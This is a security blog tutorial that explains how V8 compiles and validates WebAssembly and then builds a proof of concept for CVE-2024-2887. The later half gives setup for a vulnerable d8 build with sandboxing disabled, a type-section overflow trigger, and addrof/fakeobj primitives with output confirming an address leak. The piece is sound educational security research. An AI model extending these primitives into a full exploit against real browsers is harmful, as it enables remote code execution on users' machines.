An Introduction to Chrome Exploitation – WebAssembly Edition

WebAssembly extends the native code surface of Chrome in ways that are both powerful and risky. Unlike JavaScript, WASM modules are compiled directly into machine code via a streamlined pipeline, bypassing many of the dynamic checks that guard typical JS execution. This direct path introduces new classes of vulnerabilities,some familiar, some novel,especially when they interact with V8’s optimizing compilers.

In this post, we’ll focus on how WebAssembly is handled inside V8, what makes it exploitable, and how the architecture differs from the standard JavaScript JIT pipeline. We’ll use CVE-2024-2887 as our use case to show how subtle flaws in WASM table handling can lead to type confusion and ultimately, remote code execution.

This blog post written by our guest writer, Matteo Malvica, is for readers already familiar with V8 internals, but new to WebAssembly’s role in modern exploitation.

WebAssembly, or Wasm in short, is a low-level binary instruction format designed as a compilation target for languages like C, C++, and Rust. It was created to overcome the performance limitations of JavaScript, especially for compute-intensive applications like games, media editing, and scientific simulations running in the browser. Unlike JavaScript, which relies on an interpreter and a tiered JIT compilation pipeline, Wasm is compiled directly to native code from the start—removing the interpreter step entirely. This design enables faster startup, predictable performance, and a more secure, sandboxed execution model.

Before WebAssembly, the web development community relied on asm.js, a statically-typed

subset of JavaScript intended to enable faster execution by JavaScript engines. asm.js demonstrated that substantial performance gains were possible through careful constraint of the JavaScript language. However, it remained a workaround: parsing large JavaScript files was slow, and performance varied across browsers depending on the engine’s optimization strategies.

WebAssembly was introduced as a better alternative. Unlike asm.js, it is a compact, binary format for predictable performance and rapid parsing. wasm is not a language in itself, but a compilation target,an abstract machine designed to execute securely and efficiently across platforms.

Before we explore WebAssembly’s role within V8, it’s important to first understand its internal structure and design principles.

In WebAssembly, the concept of a “program” is replaced by the more general term module. This design choice reflects a key architectural decision: there is no strict separation between standalone programs and libraries. Every unit of code in WebAssembly is a module, and each module can serve as either a self-contained program or as a building block that links and communicates with other modules.

A module may optionally expose a main function, but structurally, there is no enforced entry point. A Wasm module is then instantiated in memory as an instance that can then be called by the JavaScript code.

The following diagram outlines the key sections, giving us an overview on how a typical module is organized.

Each section in the diagram corresponds to a specific part of the WebAssembly module format:

  • Type – Declares function signatures (parameter and return types)
  • Import – Specifies external functions, memories, globals, or tables to be provided by the host
  • Function – Declares the index of each function and references a type from the Type section
  • Table – Defines tables for indirect function calls (e.g., dynamic dispatch)
  • Memory – Declares linear memory attributes, including initial size and limits
  • Global – Defines global variables (mutable or immutable)
  • Export – Specifies which functions, memories, tables, or globals are accessible to the host
  • Start – (Optional) Indicates a function to invoke automatically on instantiation
  • Element – Initializes elements in tables, such as function references
  • Code – Contains the actual function bodies (WebAssembly bytecode)
  • Data – Declares and initializes segments of linear memory

Among all sections, only Type, Function, and Code are mandatory for a valid WebAssembly module. Notably, the Type section plays a crucial role beyond defining function signatures as it also supports the declaration of struct types. We’ll learn how this aspect relates to our use case when analyzing CVE-2024-2887.

This modular structure resembles native executable formats like PE or ELF, enabling efficient validation and safe, sandboxed execution within the browser.

Having established the structure of a WebAssembly module, we now turn our attention to how V8 compiles and executes it.

Historically, WebAssembly in V8 began with a single compilation tier, TurboFan. While TurboFan delivered highly optimized machine code, it was expensive at startup. To reduce latency, in 2018 the V8 team introduced Liftoff, a fast baseline compiler that enables quick execution while TurboFan compiles in the background.

When a Wasm module is instantiated in V8, it goes through several stages:

The WebAssembly compilation pipeline in V8 begins with decoding and validation, where the binary .wasm file is parsed and checked for structural and type correctness. This step ensures safety and prepares the module for execution.

Next, baseline compilation is handled by the Liftoff compiler, which emits native machine code in a single pass. Liftoff prioritizes fast code generation over optimization, making it suitable for short-lived functions or initial startup. Internally, Liftoff maintains a virtual operand stack that mirrors the Wasm specification. Rather than writing to memory for each operation, Liftoff tracks operands in registers or temporaries as long as possible, only committing to memory when necessary. This allows it to remain fast and predictable without a full register allocator.

As execution continues, optimized compilation takes over for hot functions via TurboFan. TurboFan applies advanced optimizations such as SSA lowering, inlining, bounds check elimination, and register allocation to produce highly efficient native code.

Finally, during execution, the compiled code runs within the V8 runtime. If TurboFan’s runtime assumptions are violated, deoptimization may occur, falling back to safer execution paths.

This tiered pipeline is managed by the Wasm Code Manager, which handles memory protection and allocation for executable pages.

Is it quite evident from the number of steps involved that Liftoff based Wasm pipeline will be able to generate machine code quicker than TurboFan.

To better understand how WebAssembly behaves inside V8, it’s useful to walk through a minimal and reproducible workflow that lets us write, compile, and debug WASM modules using only standard tools

(module
  (func $add (param $a i32) (param $b i32) (result i32)
    local.get $a
    local.get $b
    i32.add
  )
  (export "add" (func $add))
)

This module defines a function add(a, b) that takes two 32-bit integers, adds them, and returns the result. It is exported as “add” so that it can be invoked from JavaScript.

We now need to translate from WebAssembly text format to the WebAssembly binary format. We can do that with WABT.

wat2wasm add.wat -o add.wasm

Once compiled into binary, the module can be instantiated and executed using the d8 shell. The following script loads the .wasm file and repeatedly invokes the add function in a loop and interacts with the exported function at runtime.

const bytes = read('add.wasm', 'binary');

WebAssembly.instantiate(bytes).then(({instance}) => {
    for (let i = 0; i < 10; i++) {
        const a = i;
        const b = i + 1;
        const result = instance.exports.add(a, b);
        print(`add(${a}, ${b}) = ${result}`);
    }
});

Here,, we load and interact with a compiled WebAssembly module using the V8 d8 shell. We start by reading the add.wasm binary file with the read() function, which retrieves the module’s contents in binary format.

We then instantiate the module asynchronously using WebAssembly.instantiate(), which gives us access to the exported functions. Then we loop ten times, invoking the add function with a values pair of i and i + 1.

Let’s now execute the WASM module inside d8, explicitly forcing the use of Liftoff, V8’s baseline WebAssembly compiler.

d8 --liftoff --no-wasm-tier-up --print-code ./add.js

--- WebAssembly code ---
name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
Body (size = 128 = 92 + 36 padding)
Instructions (size = 80)
...
0x14115369f858    18  8d0c10               leal rcx,[rax+rdx*1]  
...
0x14115369f869    29  8bc1                 movl rax,rcx        
...  
0x14115369f86f    2f  c3                   retl                  
...

Here, we observe how V8’s Liftoff baseline compiler implements our minimal WebAssembly i32.add function. According to the System V ABI used on most Unix-like systems, the first two 32-bit integer parameters are passed in the RDI and RSI registers, which are then moved into RAX and RDX internally within V8.

The instruction LEA RCX, [RAX + RDX] performs the addition without setting CPU flags, a common compiler trick using LEA for efficient arithmetic. The result is then moved into RAX and returns control back to the caller.

For scenarios where granular control and rapid prototyping are required, WasmModuleBuilder provides a powerful alternative to traditional .wat or .wasm development. T

WasmModuleBuilder is an internal JavaScript utility provided by V8 to programmatically construct WebAssembly modules directly within the d8 shell. It allows developers to define functions, types, memory, and other sections without writing or compiling .wat or .wasm files, making it especially useful for debugging and testing.

For example, let’s consider this JS code:

load('wasm-module-builder.js');

const builder = new WasmModuleBuilder();
const sig = builder.addType(kSig_i_ii); // (i32, i32) -> i32

builder.addFunction("add", sig)
  .addBody([
    kExprLocalGet, 0,
    kExprLocalGet, 1,
    kExprI32Add
  ])
  .exportAs("add");

const module = new WebAssembly.Module(builder.toBuffer());
const instance = new WebAssembly.Instance(module);

for (let i = 0; i < 10; i++) {
    instance.exports.add(i,i + 1);
}

The script starts by loading the helper tool wasm-module-builder.js, which simplifies the creation of custom WASM modules directly within the d8 shell. The add function, inside the body is similar to the one in the previous example: it sequentially loads the two input parameters using kExprLocalGet and applies the kExprI32Add operation to compute their sum. Finally, the function is exported under the name “add”, making it callable from the surrounding JavaScript context.

Now, we can attempt compiling the code via Turbofan instead. To do so, we specify the –no-liftoff and –wasm-tier-up parameter in order to force the optimized compiler only.

$ d8 --no-liftoff --wasm-tier-up --print-code demo.js
--- WebAssembly code ---
name: add
index: 0
kind: wasm function
compiler: TurboFan
Body (size = 64 = 24 + 40 padding)
Instructions (size = 16)
0x3abf4814d840     0  55                   push rbp
0x3abf4814d841     1  4889e5               REX.W movq rbp,rsp
0x3abf4814d844     4  6a08                 push 0x8
0x3abf4814d846     6  56                   push rsi
0x3abf4814d847     7  03c2                 addl rax,rdx
0x3abf4814d849     9  488be5               REX.W movq rsp,rbp
0x3abf4814d84c     c  5d                   pop rbp
0x3abf4814d84d     d  c3                   retl
0x3abf4814d84e     e  90                   nop
0x3abf4814d84f     f  90                   nop
...

When comparing the machine code generated by Liftoff and TurboFan for the same WebAssembly add function, the contrast in output is immediately clear. TurboFan produces a much tighter and more optimized instruction sequence, just 16 bytes, including two trailing nop padding bytes. In contrast, Liftoff emits more verbose machine code, prioritizing fast, single-pass generation over compactness or performance.

Before WebAssembly (Wasm) code can be compiled or executed by the V8 engine, it must pass through a mandatory validation phase. This step parses the binary .wasm file and performs structural, semantic, and type checks across its sections. In contrast to JavaScript, which is interpreted or JIT-compiled on the fly, Wasm modules are always validated and compiled into native machine code before execution. This distinction is central to WebAssembly’s performance and security model.

Validation begins with binary decoding, where the module’s sections are interpreted in a predefined order as per the WebAssembly Binary Format, as we’ve learned earlier. For instance, the Type section must precede the Function section, and each function index must reference a valid type signature.

Again, with this minimal .wat module example:

(module
  (func $add (param $a i32) (param $b i32) (result i32)
    local.get $a
    local.get $b
    i32.add)
  (export "add" (func $add)))

It can be compiled to binary using WABT as we did before.

At this point, add.wasm will be validated for:

  • Function signature correctness
  • Section ordering
  • Index resolution
  • Memory/table bounds
  • Type constraints

The validation phase is the first security checkpoint in the WebAssembly pipeline. It ensures that the module is well-formed, type-safe, and free from dangerous constructs like unchecked indirect calls or invalid memory access. By catching issues early, it prevents malformed or malicious modules from reaching the compilation stage.

If a module fails validation, it will never execute, protecting the browser from malformed or malicious input.

Consider the following .wat code with a type mismatch:

(module
  (func $broken (param $a i32) (result f32)
    local.get $a)
  (export "broken" (func $broken)))

Compiling this with will result in:

error: type mismatch in function $broken: expected f32, got i32

From an attacker’s perspective, validation is one of the first major barriers in the WebAssembly pipeline. It prevents malformed or ambiguous modules from reaching the compiler.

In V8, validation happens mainly in the module decoder. The module decoder walks through the binary, validates types, and constructs intermediate representations.

While WebAssembly’s validation phase is designed to enforce strict type safety and structural integrity, the introduction of advanced features like Orinoco, the JavaScript heap garbage collector (GC), along with recursive type groups, has expanded the attack surface. A notable example is CVE-2024-2887, a type confusion vulnerability in V8’s WebAssembly implementation, which was exploited during Pwn2Own 2024 by Manfred Paul.

To fully understand how we confuse V8’s type system, it’s important to review the low-level details presented in ZDI’s blog post. Figuring out the exact vulnerability mechanics and how it leads to type confusion can be tricky without that detailed write-up.

The root cause of CVE-2024-2887 lies in V8’s handling of recursive type groups within WebAssembly modules. Specifically, V8 enforces a limit (kV8MaxWasmTypes) on the number of types to prevent resource exhaustion. However, this limit was inadequately enforced when processing recursive type groups, allowing an attacker to define more types than intended. By crafting a module with a recursive group containing kV8MaxWasmTypes entries followed by additional types, the total count could exceed the limit without triggering validation errors.

With a basic understanding of the bug we can now start writing the exploit primitives. Before analyzing the bug in detail we need to first build the related d8 version.

Before we can begin developing and testing our exploit for CVE-2024-2887, we need to build the appropriate version of V8. In this case, we’ll be using a revision that contains the vulnerable code, and we’ll configure it specifically to disable V8’s pointer sandbox and enable helpful debugging features.

First, we check out the parent of the patched commit to ensure we are working with a vulnerable version:

git checkout 3c23534fb016142d5039f4f14baab4748d2a8fd1^

Next, we synchronize all required dependencies using gclient:

gclient sync -D

This step ensures that all third-party libraries and tools needed for the build are properly aligned with the checked-out V8 revision.

We now generate a custom build configuration using gn. This build disables several security features, most notably the pointer sandbox (v8_enable_sandbox = false) and heap sandboxing (v8_code_pointer_sandboxing = false). Disabling the heap sandbox is intentional-it helps us focus purely on analyzing the WebAssembly type confusion vulnerability without interference from additional memory safety mechanisms.

We also enable debugging aids such as the disassembler, backtraces, and object printing:

gn gen out/x64_CVE-2024-2887.no_heap_sandbox --args='
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false'

This configuration produces an optimized (release-mode) build without the additional runtime checks from dcheck, which helps us test exploit primitives in a more realistic setting.

Finally, we build the d8 JavaScript shell using ninja:

ninja -C out/x64_CVE-2024-2887.no_heap_sandbox d8

Once this is completed, we are ready to test our proof of concept.

To begin crafting our exploit for CVE-2024-2887, we define a few utility functions. One of them, to_float64, takes two 32-bit integers and returns their 64-bit float representation. This will be useful later when we need to convert between integers and raw memory values.

function to_float64(low32, high32) {
  const buf = new ArrayBuffer(8);
  new Int32Array(buf).set([low32, high32]);
  return new Float64Array(buf)[0];
}

We also define a Helpers class with a method to force garbage collection. This helps shape the heap layout more predictably during exploitation.

class Helpers {
  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000); // Large allocation triggers GC
  }
}

Now we set up the WebAssembly module using wasm-module-builder.js, which gives us fine-grained control over the structure of the module and access to GC types. We define two arrays: a mutable array of f64, and a mutable array of externref.

The externref type is a special WebAssembly reference type that can hold opaque references to arbitrary JavaScript objects. In this exploit, we use it to store real JS objects in a Wasm-managed array, then trigger confusion that causes the engine to interpret that memory as if it were a raw f64 array. This allows us to extract object addresses (addrof) or craft fake JS objects in memory (fakeobj), depending on the direction of the confusion.

These arrays will be at the core of our type confusion.

const arr = builder.addArray(kWasmF64, true);
const arr1 = builder.addArray(kWasmExternRef, true);

To trigger the bug, we deliberately overflow the type section. By crafting a large number of types and wrapping some of them in a recursive group, we confuse V8’s type system during validation and runtime.

function overflow(o_cnt, already_have) {
  for (let i = 0; i < 1_000_000 - o_cnt - 1 - already_have; ++i)
    builder.addType(makeSig([], []));
  builder.startRecGroup();
  for (let i = 0; i < o_cnt + 1; ++i)
    builder.addType(makeSig([], []));
  builder.endRecGroup();
  for (let i = 0; i < o_cnt - 1; ++i)
    builder.addType(makeSig([], []));
}
overflow(0xbdc1, 4);

The next step is defining two critical functions: addrof and fakeobj. The addrof primitive takes a JavaScript object as an externref and reads it back as an f64, exposing its memory address. We rely on an imported JS function to convert the resulting float into an integer.

builder.addFunction('addrof', typeId).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(2),
    kGCPrefix, kExprArrayNew,   ...wasmSignedLeb(arr1),
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet,   ...wasmSignedLeb(arr),
    kExprRefFunc,               ...wasmUnsignedLeb(importId),
    kExprCallRef,               ...wasmUnsignedLeb(typeId1),
  ]);

The fakeobj primitive performs the reverse: it takes an integer, turns it into a float, writes it into a f64[], and reads that slot back from an externref, treating the float as a forged object reference.

With everything in place, we instantiate the module and export the primitives into JavaScript:

const wasmModule   = new WebAssembly.Module(builder.toBuffer());
const wasmInstance = new WebAssembly.Instance(wasmModule, {
  mod: { foo: ff }
});
const { addrof, fakeobj } = wasmInstance.exports;

We now test our primitive with a real object. By allocating a simple ArrayBuffer and passing it to addrof, we leak its memory address. Adding 0x18 targets the internal pointer to its backing store, which will be crucial for future memory corruption.

const helper = new Helpers();
helper.mark_sweep_gc(); helper.mark_sweep_gc();

const target_buf = new ArrayBuffer(1024);
%DebugPrint(target_buf);
const fake_elements_ptr = Number(addrof(target_buf));
console.log('fake_elements_ptr = 0x' + fake_elements_ptr.toString(16));

At this point, we’ve successfully created two reliable primitives, addrof and fakeobj, that give us the ability to read object addresses and fabricate object references.
To validate our assumption we can test the addrof primitives by first dumping the base address of the array buffer and then confirm it via the primitive.

$ ../v8/out/x64_CVE-2024-2887.no_heap_sandbox/d8  --allow-natives-syntax  primitives9.js
[*] Total types: 1048576
DebugPrint: 0x3fa1006c2141: [JSArrayBuffer]
 - map: 0x3fa1001cbcf1 <Map[68](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3fa1001cbdc5 <Object map = 0x3fa1001d9065>
 - elements: 0x3fa1000006fd <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5e9643ffed20
 - byte_length: 1024
 - max_byte_length: 1024
 - detach key: 0x3fa100000069 <undefined>
 - detachable
 - properties: 0x3fa1000006fd <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
...

fake_elements_ptr = 0x6c2141

Great, we can now retrieve any arbitrary object address in memory.

In this blog post, we moved from WebAssembly fundamentals to V8 internals, culminating in demonstrating a proof of concept for CVE-2024-2887. We showed how V8’s module decoder fails to enforce type group consistency in certain recursive structures, enabling a powerful type confusion between GC-managed arrays.

Through bypass of the type count validation and crafting a malicious Wasm module, we established reliable addrof and fakeobj primitives. These are foundational for arbitrary memory access in modern browser exploits and illustrate how WebAssembly’s design can be turned against the engine when subtle validation gaps exist.

?

Get in touch

Skip to content